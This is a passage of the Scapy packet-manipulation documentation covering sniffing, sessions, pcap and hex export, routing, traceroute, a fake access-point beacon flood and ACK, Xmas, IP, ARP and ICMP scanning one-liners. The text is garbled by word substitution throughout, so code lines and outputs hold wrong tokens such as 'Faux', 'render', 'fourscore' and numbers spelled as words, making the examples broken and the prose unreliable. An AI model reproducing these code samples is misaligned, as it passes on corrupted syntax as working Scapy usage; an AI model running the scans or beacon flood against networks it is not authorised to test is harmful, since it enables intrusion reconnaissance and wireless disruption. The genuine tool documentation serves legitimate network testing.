                                >>>                                p                <Ether dst=00:10:4b:b3:7d:4e src=00:40:33:96:7b:60 blazon=0x800 |<IP version=4L                                  ihl=5L tos=0x0 len=threescore id=61681 flags=DF frag=0L ttl=64 proto=TCP chksum=0xb85e                                  src=192.168.8.ten dst=192.168.8.1 options='' |<TCP sport=46511 dport=80                                  seq=2023566040L ack=0L dataofs=10L reserved=0L flags=SEC window=5840                                  chksum=0x570c urgptr=0 options=[('Timestamp', (342940201L, 0L)), ('MSS', 1460),                                  ('NOP', ()), ('SAckOK', ''), ('WScale', 0)] |>>>                >>>                                load_module                (                "p0f"                )                >>>                                p0f                (                p                )                (i.0, ['Linux 2.4.two - 2.4.xiv (1)'])                >>>                                a                =                sniff                (                prn                =                prnp0f                )                (i.0, ['Linux 2.4.2 - 2.four.14 (i)'])                (1.0, ['Linux ii.4.2 - 2.4.14 (one)'])                (0.875, ['Linux ii.4.2 - 2.four.14 (1)', 'Linux 2.4.10 (ane)', 'Windows 98 (?)'])                (i.0, ['Windows 2000 (9)'])              

The number before the Os guess is the accuracy of the estimate.

Annotation

When sniffing on several interfaces (e.g. iface=["eth0", ...] ), you can check what interface a bundle was sniffed on by using the sniffed_on aspect, as shown in one of the examples above.

Asynchronous Sniffing

Note

Asynchronous sniffing is only available since Scapy 2.4.3

Alert

Asynchronous sniffing does not necessarily improves operation (information technology's rather the opposite). If you desire to sniff on multiple interfaces / socket, remember you can pass them all to a single sniff() call

It is possible to sniff asynchronously. This allows to stop the sniffer programmatically, rather than with ctrl^C. It provides start() , stop() and bring together() utils.

The basic usage would be:

                                >>>                                t                =                AsyncSniffer                ()                >>>                                t                .                start                ()                >>>                                print                (                "hey"                )                hey                [...]                >>>                                results                =                t                .                stop                ()              
_images/animation-scapy-asyncsniffer.svg

The AsyncSniffer form has a few useful keys, such as results (the packets collected) or running , that can be used. It accepts the same arguments than sniff() (in fact, their implementations are merged). For example:

                                >>>                                t                =                AsyncSniffer                (                iface                =                "enp0s3"                ,                count                =                200                )                >>>                                t                .                start                ()                >>>                                t                .                join                ()                # this will agree until 200 packets are nerveless                >>>                                results                =                t                .                results                >>>                                print                (                len                (                results                ))                200              

Another example: using prn and store=False

                                >>>                                t                =                AsyncSniffer                (                prn                =                lambda                x                :                x                .                summary                (),                store                =                False                ,                filter                =                "tcp"                )                >>>                                t                .                beginning                ()                >>>                                fourth dimension                .                sleep                (                20                )                >>>                                t                .                stop                ()              

Avant-garde Sniffing - Sniffing Sessions

Annotation

Sessions are only available since Scapy ii.iv.3

sniff() also provides Sessions, that allows to dissect a period of packets seamlessly. For instance, you lot may want your sniff(prn=...) role to automatically defragment IP packets, earlier executing the prn .

Scapy includes some basic Sessions, simply information technology is possible to implement your ain. Available by default:

  • IPSession -> defragment IP packets on-the-catamenia, to brand a stream usable by prn .

  • TCPSession -> defragment certain TCP protocols. Currently supports:
    • HTTP 1.0

    • TLS

  • TLSSession -> matches TLS sessions on the menstruum.

  • NetflowSession -> resolve Netflow V9 packets from their NetflowFlowset information objects

Those sessions tin can exist used using the session= parameter of sniff() . Examples:

                                >>>                                sniff                (                session                =                IPSession                ,                iface                =                "eth0"                )                >>>                                sniff                (                session                =                TCPSession                ,                prn                =                lambda                x                :                ten                .                summary                (),                store                =                Faux                )                >>>                                sniff                (                offline                =                "file.pcap"                ,                session                =                NetflowSession                )              

Notation

To implement your own Session grade, in order to support another flow-based protocol, start past copying a sample from scapy/sessions.py Your custom Session class only needs to extend the DefaultSession class, and implement a on_packet_received role, such as in the instance.

Note

Would you need it, you tin can use: course TLS_over_TCP(TLSSession, TCPSession): laissez passer to sniff TLS packets that are defragmented.

How to utilise TCPSession to defragment TCP packets

The layer on which the decompression is practical must be immediately following the TCP layer. You need to implement a class function called tcp_reassemble that accepts the binary data and a metada dictionary as statement and returns, when full, a packet. Let'southward report the (pseudo) instance of TLS:

                                    class                  TLS                  (                  Packet                  ):                  [                  ...                  ]                  @classmethod                  def                  tcp_reassemble                  (                  cls                  ,                  data                  ,                  metadata                  ):                  length                  =                  struct                  .                  unpack                  (                  "!H"                  ,                  data                  [                  3                  :                  5                  ])[                  0                  ]                  +                  5                  if                  len                  (                  data                  )                  ==                  length                  :                  render                  TLS                  (                  information                  )                

In this example, we first get the full length of the TLS payload announced by the TLS header, and we compare it to the length of the data. When the data reaches this length, the packet is consummate and tin exist returned. When implementing tcp_reassemble , it's usually a matter of detecting when a packet isn't missing anything else.

The data argument is bytes and the metadata statement is a dictionary which keys are as follow:

  • metadata["pay_class"] : the TCP payload class (here TLS)

  • metadata.get("tcp_psh", False) : will be present if the PUSH flag is set

  • metadata.go("tcp_end", False) : will be nowadays if the END or RESET flag is set up

Filters

Demo of both bpf filter and sprintf() method:

                                >>>                                a                =                sniff                (                filter                =                "tcp and ( port 25 or port 110 )"                ,                                  prn=lambda 10: 10.sprintf("%IP.src%:%TCP.sport% -> %IP.dst%:%TCP.dport%  %2s,TCP.flags% : %TCP.payload%"))                192.168.eight.x:47226 -> 213.228.0.14:110   Due south :                213.228.0.14:110 -> 192.168.8.10:47226  SA :                192.168.eight.10:47226 -> 213.228.0.14:110   A :                213.228.0.14:110 -> 192.168.eight.10:47226  PA : +OK <13103.1048117923@pop2-1.free.fr>                192.168.8.10:47226 -> 213.228.0.xiv:110   A :                192.168.8.10:47226 -> 213.228.0.14:110  PA : USER toto                213.228.0.fourteen:110 -> 192.168.viii.10:47226   A :                213.228.0.14:110 -> 192.168.viii.ten:47226  PA : +OK                192.168.8.10:47226 -> 213.228.0.14:110   A :                192.168.8.x:47226 -> 213.228.0.14:110  PA : PASS tata                213.228.0.14:110 -> 192.168.8.ten:47226  PA : -ERR authorization failed                192.168.viii.10:47226 -> 213.228.0.fourteen:110   A :                213.228.0.xiv:110 -> 192.168.8.10:47226  FA :                192.168.8.x:47226 -> 213.228.0.fourteen:110  FA :                213.228.0.14:110 -> 192.168.8.10:47226   A :              

Transport and receive in a loop

Here is an example of a (h)ping-like functionality : you always send the same set of packets to run into if something change:

                                >>>                                srloop                (                IP                (                dst                =                "www.target.com/30"                )                /                TCP                ())                RECV 1: Ether / IP / TCP 192.168.eleven.99:80 > 192.168.8.14:20 SA / Padding                neglect 3: IP / TCP 192.168.8.fourteen:20 > 192.168.11.96:80 Due south                                  IP / TCP 192.168.viii.fourteen:20 > 192.168.eleven.98:eighty South                                  IP / TCP 192.168.8.14:20 > 192.168.11.97:lxxx Southward                RECV 1: Ether / IP / TCP 192.168.11.99:80 > 192.168.eight.14:20 SA / Padding                fail 3: IP / TCP 192.168.8.14:twenty > 192.168.xi.96:eighty Due south                                  IP / TCP 192.168.viii.14:20 > 192.168.11.98:80 Due south                                  IP / TCP 192.168.8.fourteen:twenty > 192.168.eleven.97:80 Due south                RECV 1: Ether / IP / TCP 192.168.11.99:80 > 192.168.8.14:20 SA / Padding                neglect 3: IP / TCP 192.168.8.fourteen:20 > 192.168.11.96:80 S                                  IP / TCP 192.168.8.fourteen:20 > 192.168.eleven.98:fourscore South                                  IP / TCP 192.168.eight.14:20 > 192.168.eleven.97:80 S                RECV i: Ether / IP / TCP 192.168.eleven.99:80 > 192.168.8.14:20 SA / Padding                neglect 3: IP / TCP 192.168.8.14:20 > 192.168.11.96:80 S                                  IP / TCP 192.168.8.14:20 > 192.168.eleven.98:eighty S                                  IP / TCP 192.168.8.14:20 > 192.168.11.97:80 Southward              

Importing and Exporting Information

PCAP

It is often useful to save capture packets to pcap file for utilise at after fourth dimension or with different applications:

                                    >>>                                    wrpcap                  (                  "temp.cap"                  ,                  pkts                  )                

To restore previously saved pcap file:

                                    >>>                                    pkts                  =                  rdpcap                  (                  "temp.cap"                  )                

or

                                    >>>                                    pkts                  =                  sniff                  (                  offline                  =                  "temp.cap"                  )                

Hexdump

Scapy allows yous to export recorded packets in diverse hex formats.

Use hexdump() to display one or more packets using classic hexdump format:

                                    >>>                                    hexdump                  (                  pkt                  )                  0000   00 50 56 FC CE 50 00 0C  29 2B 53 19 08 00 45 00   .PV..P..)+S...E.                  0010   00 54 00 00 40 00 twoscore 01  5A 7C C0 A8 19 82 04 02   .T..@.@.Z|......                  0020   02 01 08 00 9C 90 5A 61  00 01 E6 DA 70 49 B6 E5   ......Za....pI..                  0030   08 00 08 09 0A 0B 0C 0D  0E 0F 10 11 12 thirteen 14 15   ................                  0040   xvi 17 eighteen 19 1A 1B 1C 1D  1E 1F 20 21 22 23 24 25   .......... !"#$%                  0050   26 27 28 29 2A 2B 2C 2D  2E 2F 30 31 32 33 34 35   &'()*+,-./012345                  0060   36 37                                              67                

Hexdump higher up tin can be reimported back into Scapy using import_hexcap() :

                                    >>>                                    pkt_hex                  =                  Ether                  (                  import_hexcap                  ())                  0000   00 50 56 FC CE fifty 00 0C  29 2B 53 19 08 00 45 00   .PV..P..)+South...Due east.                  0010   00 54 00 00 twoscore 00 xl 01  5A 7C C0 A8 19 82 04 02   .T..@.@.Z|......                  0020   02 01 08 00 9C xc 5A 61  00 01 E6 DA lxx 49 B6 E5   ......Za....pI..                  0030   08 00 08 09 0A 0B 0C 0D  0E 0F ten 11 12 13 14 15   ................                  0040   xvi 17 18 nineteen 1A 1B 1C 1D  1E 1F 20 21 22 23 24 25   .......... !"#$%                  0050   26 27 28 29 2A 2B 2C 2D  2E 2F thirty 31 32 33 34 35   &'()*+,-./012345                  0060   36 37                                              67                  >>>                                    pkt_hex                  <Ether  dst=00:50:56:fc:ce:l src=00:0c:29:2b:53:nineteen type=0x800 |<IP  version=4L                  ihl=5L tos=0x0 len=84 id=0 flags=DF frag=0L ttl=64 proto=icmp chksum=0x5a7c                  src=192.168.25.130 dst=4.2.2.1 options='' |<ICMP  blazon=echo-asking code=0                  chksum=0x9c90 id=0x5a61 seq=0x1 |<Raw  load='\xe6\xdapI\xb6\xe5\x08\x00\x08\t\n                  \x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e                  \x1f !"#$%&\'()*+,-./01234567' |>>>>                

Binary string

You tin can besides convert entire bundle into a binary string using the raw() function:

                                    >>>                                    pkts                  =                  sniff                  (                  count                  =                  one                  )                  >>>                                    pkt                  =                  pkts                  [                  0                  ]                  >>>                                    pkt                  <Ether  dst=00:50:56:fc:ce:50 src=00:0c:29:2b:53:xix type=0x800 |<IP  version=4L                  ihl=5L tos=0x0 len=84 id=0 flags=DF frag=0L ttl=64 proto=icmp chksum=0x5a7c                  src=192.168.25.130 dst=4.2.2.1 options='' |<ICMP  type=repeat-request code=0                  chksum=0x9c90 id=0x5a61 seq=0x1 |<Raw  load='\xe6\xdapI\xb6\xe5\x08\x00\x08\t\northward                  \x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e                  \x1f !"#$%&\'()*+,-./01234567' |>>>>                  >>>                                    pkt_raw                  =                  raw                  (                  pkt                  )                  >>>                                    pkt_raw                  '\x00PV\xfc\xceP\x00\x0c)+Southward\x19\x08\x00E\x00\x00T\x00\x00@\x00@\x01Z|\xc0\xa8                  \x19\x82\x04\x02\x02\x01\x08\x00\x9c\x90Za\x00\x01\xe6\xdapI\xb6\xe5\x08\x00                  \x08\t\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b                  \x1c\x1d\x1e\x1f !"#$%&\'()*+,-./01234567'                

We can reimport the produced binary string by selecting the appropriate first layer (due east.thou. Ether() ).

                                    >>>                                    new_pkt                  =                  Ether                  (                  pkt_raw                  )                  >>>                                    new_pkt                  <Ether  dst=00:50:56:fc:ce:50 src=00:0c:29:2b:53:19 blazon=0x800 |<IP  version=4L                  ihl=5L tos=0x0 len=84 id=0 flags=DF frag=0L ttl=64 proto=icmp chksum=0x5a7c                  src=192.168.25.130 dst=iv.2.ii.one options='' |<ICMP  type=echo-request code=0                  chksum=0x9c90 id=0x5a61 seq=0x1 |<Raw  load='\xe6\xdapI\xb6\xe5\x08\x00\x08\t\n                  \x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e                  \x1f !"#$%&\'()*+,-./01234567' |>>>>                

Base64

Using the export_object() function, Scapy can export a base64 encoded Python data structure representing a packet:

                                    >>>                                    pkt                  <Ether  dst=00:50:56:fc:ce:fifty src=00:0c:29:2b:53:19 blazon=0x800 |<IP  version=4L                  ihl=5L tos=0x0 len=84 id=0 flags=DF frag=0L ttl=64 proto=icmp chksum=0x5a7c                  src=192.168.25.130 dst=iv.2.two.1 options='' |<ICMP  type=echo-request code=0                  chksum=0x9c90 id=0x5a61 seq=0x1 |<Raw  load='\xe6\xdapI\xb6\xe5\x08\x00\x08\t\northward                  \x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f                  !"#$%&\'()*+,-./01234567' |>>>>                  >>>                                    export_object                  (                  pkt                  )                  eNplVwd4FNcRPt2dTqdTQ0JUUYwN+CgS0gkJONFEs5WxFDB+CdiI8+pupVl0d7uzRUiYtcEGG4ST                  OD1OnB6nN6c4cXrvwQmk2U5xA9tgO70XMm+1rA78qdzbfTP/lDfzz7tD4WwmU1C0YiaT2Gqjaiao                  bMlhCrsUSYrYoKbmcxZFXSpPiohlZikm6ltb063ZdGpNOjWQ7mhPt62hChHJWTbFvb0O/u1MD2bT                  WZXXVCmi9pihUqI3FHdEQslriiVfWFTVT9VYpog6Q7fsjG0qRWtQNwsW1fRTrUg4xZxq5pUx1aS6                  ...                

The output above tin be reimported back into Scapy using import_object() :

                                    >>>                                    new_pkt                  =                  import_object                  ()                  eNplVwd4FNcRPt2dTqdTQ0JUUYwN+CgS0gkJONFEs5WxFDB+CdiI8+pupVl0d7uzRUiYtcEGG4ST                  OD1OnB6nN6c4cXrvwQmk2U5xA9tgO70XMm+1rA78qdzbfTP/lDfzz7tD4WwmU1C0YiaT2Gqjaiao                  bMlhCrsUSYrYoKbmcxZFXSpPiohlZikm6ltb063ZdGpNOjWQ7mhPt62hChHJWTbFvb0O/u1MD2bT                  WZXXVCmi9pihUqI3FHdEQslriiVfWFTVT9VYpog6Q7fsjG0qRWtQNwsW1fRTrUg4xZxq5pUx1aS6                  ...                  >>>                                    new_pkt                  <Ether  dst=00:fifty:56:fc:ce:fifty src=00:0c:29:2b:53:19 blazon=0x800 |<IP  version=4L                  ihl=5L tos=0x0 len=84 id=0 flags=DF frag=0L ttl=64 proto=icmp chksum=0x5a7c                  src=192.168.25.130 dst=4.2.two.ane options='' |<ICMP  type=echo-request code=0                  chksum=0x9c90 id=0x5a61 seq=0x1 |<Raw  load='\xe6\xdapI\xb6\xe5\x08\x00\x08\t\north                  \x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f                  !"#$%&\'()*+,-./01234567' |>>>>                

Sessions

At last Scapy is capable of saving all session variables using the save_session() part:

                                    >>>                                    dir                  ()                  ['__builtins__', 'conf', 'new_pkt', 'pkt', 'pkt_export', 'pkt_hex', 'pkt_raw', 'pkts']                  >>>                                    save_session                  (                  "session.scapy"                  )                

Side by side time you start Scapy you can load the previous saved session using the load_session() control:

                                    >>>                                    dir                  ()                  ['__builtins__', 'conf']                  >>>                                    load_session                  (                  "session.scapy"                  )                  >>>                                    dir                  ()                  ['__builtins__', 'conf', 'new_pkt', 'pkt', 'pkt_export', 'pkt_hex', 'pkt_raw', 'pkts']                

Making tables

Now we take a demonstration of the make_table() presentation function. Information technology takes a list as parameter, and a function who returns a 3-uple. The first chemical element is the value on the 10 axis from an chemical element of the listing, the 2d is nigh the y value and the third is the value that we desire to run across at coordinates (x,y). The result is a tabular array. This office has 2 variants, make_lined_table() and make_tex_table() to copy/paste into your LaTeX pentest report. Those functions are available as methods of a issue object :

Here nosotros tin encounter a multi-parallel traceroute (Scapy already has a multi TCP traceroute part. Meet later):

                                >>>                                ans                ,                unans                =                sr                (                IP                (                dst                =                "www.exam.fr/30"                ,                ttl                =                (                1                ,                6                ))                /                TCP                ())                Received 49 packets, got 24 answers, remaining 0 packets                >>>                                ans                .                make_table                (                lambda                s                ,                r                :                (                southward                .                dst                ,                s                .                ttl                ,                r                .                src                )                )                                  216.15.189.192  216.15.189.193  216.xv.189.194  216.15.189.195                1 192.168.8.1     192.168.viii.1     192.168.eight.1     192.168.viii.i                ii 81.57.239.254   81.57.239.254   81.57.239.254   81.57.239.254                three 213.228.4.254   213.228.iv.254   213.228.iv.254   213.228.4.254                4 213.228.3.3     213.228.iii.iii     213.228.three.3     213.228.3.3                v 193.251.254.1   193.251.251.69  193.251.254.ane   193.251.251.69                6 193.251.241.174 193.251.241.178 193.251.241.174 193.251.241.178              

Here is a more complex example to distinguish machines or their IP stacks from their IPID field. We can see that 172.20.80.200:22 is answered by the same IP stack equally 172.20.80.201 and that 172.20.eighty.197:25 is not answered by the same IP stack as other ports on the same IP.

                                >>>                                ans                ,                unans                =                sr                (                IP                (                dst                =                "172.twenty.80.192/28"                )                /                TCP                (                dport                =                [                20                ,                21                ,                22                ,                25                ,                53                ,                80                ]))                Received 142 packets, got 25 answers, remaining 71 packets                >>>                                ans                .                make_table                (                lambda                due south                ,                r                :                (                due south                .                dst                ,                southward                .                dport                ,                r                .                sprintf                (                "%IP.id%"                )))                                  172.20.eighty.196 172.20.80.197 172.20.lxxx.198 172.20.80.200 172.20.80.201                20 0             4203          7021          -             11562                21 0             4204          7022          -             11563                22 0             4205          7023          11561         11564                25 0             0             7024          -             11565                53 0             4207          7025          -             11566                lxxx 0             4028          7026          -             11567              

Information technology can help identify network topologies very easily when playing with TTL, displaying received TTL, etc.

Routing

At present Scapy has its own routing table, so that yous tin can take your packets routed differently than the organization:

                                >>>                                conf                .                route                Network         Netmask         Gateway         Iface                127.0.0.0       255.0.0.0       0.0.0.0         lo                192.168.8.0     255.255.255.0   0.0.0.0         eth0                0.0.0.0         0.0.0.0         192.168.8.i     eth0                >>>                                conf                .                road                .                delt                (                net                =                "0.0.0.0/0"                ,                gw                =                "192.168.8.1"                )                >>>                                conf                .                route                .                add                (                net                =                "0.0.0.0/0"                ,                gw                =                "192.168.8.254"                )                >>>                                conf                .                route                .                add together                (                host                =                "192.168.1.1"                ,                gw                =                "192.168.8.ane"                )                >>>                                conf                .                route                Network         Netmask         Gateway         Iface                127.0.0.0       255.0.0.0       0.0.0.0         lo                192.168.8.0     255.255.255.0   0.0.0.0         eth0                0.0.0.0         0.0.0.0         192.168.8.254   eth0                192.168.i.one     255.255.255.255 192.168.8.ane     eth0                >>>                                conf                .                route                .                resync                ()                >>>                                conf                .                route                Network         Netmask         Gateway         Iface                127.0.0.0       255.0.0.0       0.0.0.0         lo                192.168.8.0     255.255.255.0   0.0.0.0         eth0                0.0.0.0         0.0.0.0         192.168.8.1     eth0              

Matplotlib

We tin easily plot some harvested values using Matplotlib. (Make certain that you have matplotlib installed.) For example, we tin can observe the IP ID patterns to know how many singled-out IP stacks are used behind a load balancer:

                                >>>                                a                ,                b                =                sr                (                IP                (                dst                =                "www.target.com"                )                /                TCP                (                sport                =                [                RandShort                ()]                *                thou                ))                >>>                                a                .                plot                (                lambda                x                :                x                [                1                ]                .                id                )                [<matplotlib.lines.Line2D at 0x2367b80d6a0>]              
_images/ipid.png

TCP traceroute (2)

Scapy too has a powerful TCP traceroute role. Dissimilar other traceroute programs that wait for each node to reply before going to the adjacent, Scapy sends all the packets at the same time. This has the disadvantage that it can't know when to end (thus the maxttl parameter) but the smashing advantage that it took less than 3 seconds to get this multi-target traceroute result:

                                >>>                                traceroute                ([                "www.yahoo.com"                ,                "www.altavista.com"                ,                "www.wisenut.com"                ,                "www.copernic.com"                ],                maxttl                =                20                )                Received 80 packets, got 80 answers, remaining 0 packets                                  193.45.x.88:lxxx    216.109.118.79:lxxx  64.241.242.243:fourscore  66.94.229.254:eighty                1  192.168.8.ane        192.168.8.ane        192.168.viii.1        192.168.viii.1                two  82.243.5.254       82.243.5.254       82.243.5.254       82.243.5.254                three  213.228.4.254      213.228.4.254      213.228.4.254      213.228.4.254                4  212.27.fifty.46       212.27.fifty.46       212.27.l.46       212.27.50.46                five  212.27.l.37       212.27.50.41       212.27.50.37       212.27.50.41                6  212.27.50.34       212.27.50.34       213.228.3.234      193.251.251.69                7  213.248.71.141     217.118.239.149    208.184.231.214    193.251.241.178                viii  213.248.65.81      217.118.224.44     64.125.31.129      193.251.242.98                nine  213.248.70.fourteen      213.206.129.85     64.125.31.186      193.251.243.89                10 193.45.10.88    SA 213.206.128.160    64.125.29.122      193.251.254.126                xi 193.45.10.88    SA 206.24.169.41      64.125.28.70       216.115.97.178                12 193.45.ten.88    SA 206.24.226.99      64.125.28.209      66.218.64.146                13 193.45.10.88    SA 206.24.227.106     64.125.29.45       66.218.82.230                14 193.45.10.88    SA 216.109.74.30      64.125.31.214      66.94.229.254   SA                15 193.45.ten.88    SA 216.109.120.149    64.124.229.109     66.94.229.254   SA                16 193.45.x.88    SA 216.109.118.79  SA 64.241.242.243  SA 66.94.229.254   SA                17 193.45.ten.88    SA 216.109.118.79  SA 64.241.242.243  SA 66.94.229.254   SA                18 193.45.ten.88    SA 216.109.118.79  SA 64.241.242.243  SA 66.94.229.254   SA                19 193.45.10.88    SA 216.109.118.79  SA 64.241.242.243  SA 66.94.229.254   SA                twenty 193.45.x.88    SA 216.109.118.79  SA 64.241.242.243  SA 66.94.229.254   SA                (<Traceroute: UDP:0 TCP:28 ICMP:52 Other:0>, <Unanswered: UDP:0 TCP:0 ICMP:0 Other:0>)              

The final line is in fact the result of the function : a traceroute result object and a packet list of unanswered packets. The traceroute result is a more than specialised version (a subclass, in fact) of a classic event object. We can save it to consult the traceroute consequence again a scrap later, or to deeply audit i of the answers, for example to check padding.

                                >>>                                result                ,                unans                =                _                >>>                                result                .                show                ()                                  193.45.10.88:80    216.109.118.79:80  64.241.242.243:eighty  66.94.229.254:80                ane  192.168.8.1        192.168.eight.1        192.168.viii.1        192.168.8.1                2  82.251.4.254       82.251.4.254       82.251.4.254       82.251.iv.254                3  213.228.iv.254      213.228.4.254      213.228.4.254      213.228.4.254                [...]                >>>                                result                .                filter                (                lambda                x                :                Padding                in                x                [                1                ])              

Like whatsoever result object, traceroute objects can be added :

                                >>>                                r2                ,                unans                =                traceroute                ([                "www.voila.com"                ],                maxttl                =                20                )                Received 19 packets, got xix answers, remaining one packets                                  195.101.94.25:80                1  192.168.viii.1                two  82.251.4.254                3  213.228.4.254                4  212.27.50.169                v  212.27.fifty.162                6  193.252.161.97                vii  193.252.103.86                8  193.252.103.77                9  193.252.101.i                ten 193.252.227.245                12 195.101.94.25   SA                13 195.101.94.25   SA                14 195.101.94.25   SA                15 195.101.94.25   SA                16 195.101.94.25   SA                17 195.101.94.25   SA                eighteen 195.101.94.25   SA                nineteen 195.101.94.25   SA                twenty 195.101.94.25   SA                >>>                >>>                                r3                =                result                +                r2                >>>                                r3                .                show                ()                                  195.101.94.25:80   212.23.37.13:80    216.109.118.72:lxxx  64.241.242.243:eighty  66.94.229.254:80                i  192.168.8.1        192.168.8.1        192.168.8.i        192.168.viii.1        192.168.viii.one                two  82.251.iv.254       82.251.four.254       82.251.iv.254       82.251.4.254       82.251.4.254                3  213.228.4.254      213.228.iv.254      213.228.iv.254      213.228.4.254      213.228.4.254                4  212.27.fifty.169      212.27.50.169      212.27.50.46       -                  212.27.l.46                5  212.27.50.162      212.27.50.162      212.27.l.37       212.27.50.41       212.27.50.37                6  193.252.161.97     194.68.129.168     212.27.fifty.34       213.228.3.234      193.251.251.69                seven  193.252.103.86     212.23.42.33       217.118.239.185    208.184.231.214    193.251.241.178                8  193.252.103.77     212.23.42.6        217.118.224.44     64.125.31.129      193.251.242.98                9  193.252.101.1      212.23.37.13    SA 213.206.129.85     64.125.31.186      193.251.243.89                10 193.252.227.245    212.23.37.13    SA 213.206.128.160    64.125.29.122      193.251.254.126                11 -                  212.23.37.xiii    SA 206.24.169.41      64.125.28.70       216.115.97.178                12 195.101.94.25   SA 212.23.37.xiii    SA 206.24.226.100     64.125.28.209      216.115.101.46                13 195.101.94.25   SA 212.23.37.13    SA 206.24.238.166     64.125.29.45       66.218.82.234                14 195.101.94.25   SA 212.23.37.13    SA 216.109.74.30      64.125.31.214      66.94.229.254   SA                15 195.101.94.25   SA 212.23.37.xiii    SA 216.109.120.151    64.124.229.109     66.94.229.254   SA                sixteen 195.101.94.25   SA 212.23.37.13    SA 216.109.118.72  SA 64.241.242.243  SA 66.94.229.254   SA                17 195.101.94.25   SA 212.23.37.13    SA 216.109.118.72  SA 64.241.242.243  SA 66.94.229.254   SA                18 195.101.94.25   SA 212.23.37.xiii    SA 216.109.118.72  SA 64.241.242.243  SA 66.94.229.254   SA                19 195.101.94.25   SA 212.23.37.xiii    SA 216.109.118.72  SA 64.241.242.243  SA 66.94.229.254   SA                20 195.101.94.25   SA 212.23.37.13    SA 216.109.118.72  SA 64.241.242.243  SA 66.94.229.254   SA              

Traceroute effect object too take a very neat feature: they tin make a directed graph from all the routes they got, and cluster them by AS (Autonomous System). You will need graphviz. By default, ImageMagick is used to display the graph.

                                >>>                                res                ,                unans                =                traceroute                ([                "www.microsoft.com"                ,                "world wide web.cisco.com"                ,                "www.yahoo.com"                ,                "www.wanadoo.fr"                ,                "www.pacsec.com"                ],                dport                =                [                lxxx                ,                443                ],                maxttl                =                twenty                ,                retry                =-                ii                )                Received 190 packets, got 190 answers, remaining 10 packets                                  193.252.122.103:443 193.252.122.103:80 198.133.219.25:443 198.133.219.25:80  207.46...                ane  192.168.viii.one         192.168.eight.1        192.168.8.1        192.168.8.1        192.16...                2  82.251.iv.254        82.251.4.254       82.251.4.254       82.251.4.254       82.251...                3  213.228.4.254       213.228.iv.254      213.228.4.254      213.228.4.254      213.22...                [...]                >>>                                res                .                graph                ()                # piped to ImageMagick's display program. Image below.                >>>                                res                .                graph                (                type                =                "ps"                ,                target                =                "| lp"                )                # piped to postscript printer                >>>                                res                .                graph                (                target                =                "> /tmp/graph.svg"                )                # saved to file              
_images/graph_traceroute.png

If you have VPython installed, you as well can have a 3D representation of the traceroute. With the right push, you tin rotate the scene, with the middle button, y'all can zoom, with the left push button, yous can move the scene. If you click on a ball, it's IP volition announced/disappear. If you Ctrl-click on a brawl, ports 21, 22, 23, 25, 80 and 443 will be scanned and the outcome displayed:

_images/trace3d_1.png _images/trace3d_2.png

Wireless frame injection

Note

Run across the TroubleShooting section for more information on the usage of Monitor manner among Scapy.

Provided that your wireless card and driver are correctly configured for frame injection

                $ iw dev wlan0 interface add mon0 blazon monitor $ ifconfig mon0 upwards              

On Windows, if using Npcap, the equivalent would be to call:

                                >>>                                # Of class, conf.iface tin exist replaced past whatsoever interfaces accessed through conf.ifaces                ...                                conf                .                iface                .                setmonitor                (                True                )              

you can accept a kind of FakeAP:

                                >>>                                sendp                (                RadioTap                ()                /                                  Dot11(addr1="ff:ff:ff:ff:ff:ff",                                  addr2="00:01:02:03:04:05",                                  addr3="00:01:02:03:04:05")/                                  Dot11Beacon(cap="ESS", timestamp=1)/                                  Dot11Elt(ID="SSID", info=RandString(RandNum(1,fifty)))/                                  Dot11EltRates(rates=[130, 132, eleven, 22])/                                  Dot11Elt(ID="DSset", info="\x03")/                                  Dot11Elt(ID="TIM", info="\x00\x01\x00\x00"),                                  iface="mon0", loop=1)              

Depending on the driver, the commands needed to get a working frame injection interface may vary. You may besides accept to supercede the first pseudo-layer (in the instance RadioTap() ) past PrismHeader() , or past a proprietary pseudo-layer, or even to remove it.

Uncomplicated one-liners

ACK Browse

Using Scapy'southward powerful bundle crafting facilities nosotros can quick replicate archetype TCP Scans. For instance, the post-obit string will be sent to simulate an ACK Scan:

                                >>>                                ans                ,                unans                =                sr                (                IP                (                dst                =                "www.slashdot.org"                )                /                TCP                (                dport                =                [                fourscore                ,                666                ],                flags                =                "A"                ))              

We can find unfiltered ports in answered packets:

                                >>>                                for                s                ,                r                in                ans                :                ...                                if                due south                [                TCP                ]                .                dport                ==                r                [                TCP                ]                .                sport                :                ...                                print                (                "                %d                                  is unfiltered"                %                s                [                TCP                ]                .                dport                )              

Similarly, filtered ports tin exist constitute with unanswered packets:

                                >>>                                for                s                in                unans                :                ...                                impress                (                "                %d                                  is filtered"                %                s                [                TCP                ]                .                dport                )              

Xmas Browse

Xmas Scan can be launched using the post-obit command:

                                >>>                                ans                ,                unans                =                sr                (                IP                (                dst                =                "192.168.1.one"                )                /                TCP                (                dport                =                666                ,                flags                =                "FPU"                )                )              

Checking RST responses will reveal closed ports on the target.

IP Browse

A lower level IP Browse can exist used to enumerate supported protocols:

                                >>>                                ans                ,                unans                =                sr                (                IP                (                dst                =                "192.168.1.i"                ,                proto                =                (                0                ,                255                ))                /                "SCAPY"                ,                retry                =                2                )              

ARP Ping

The fastest fashion to observe hosts on a local ethernet network is to employ the ARP Ping method:

                                >>>                                ans                ,                unans                =                srp                (                Ether                (                dst                =                "ff:ff:ff:ff:ff:ff"                )                /                ARP                (                pdst                =                "192.168.1.0/24"                ),                timeout                =                2                )              

Answers can be reviewed with the following command:

                                >>>                                ans                .                summary                (                lambda                s                ,                r                :                r                .                sprintf                (                "                %Eastward                ther.src                % %                ARP.psrc%"                )                )              

Scapy also includes a built-in arping() function which performs similar to the above two commands:

                                >>>                                arping                (                "192.168.1.*"                )              

ICMP Ping

Classical ICMP Ping tin can exist emulated using the following command:

                                >>>                                ans                ,                unans                =                sr                (                IP                (                dst                =                "192.168.ane.i-254"                )                /                ICMP                ())              

Information on alive hosts can exist nerveless with the following asking:

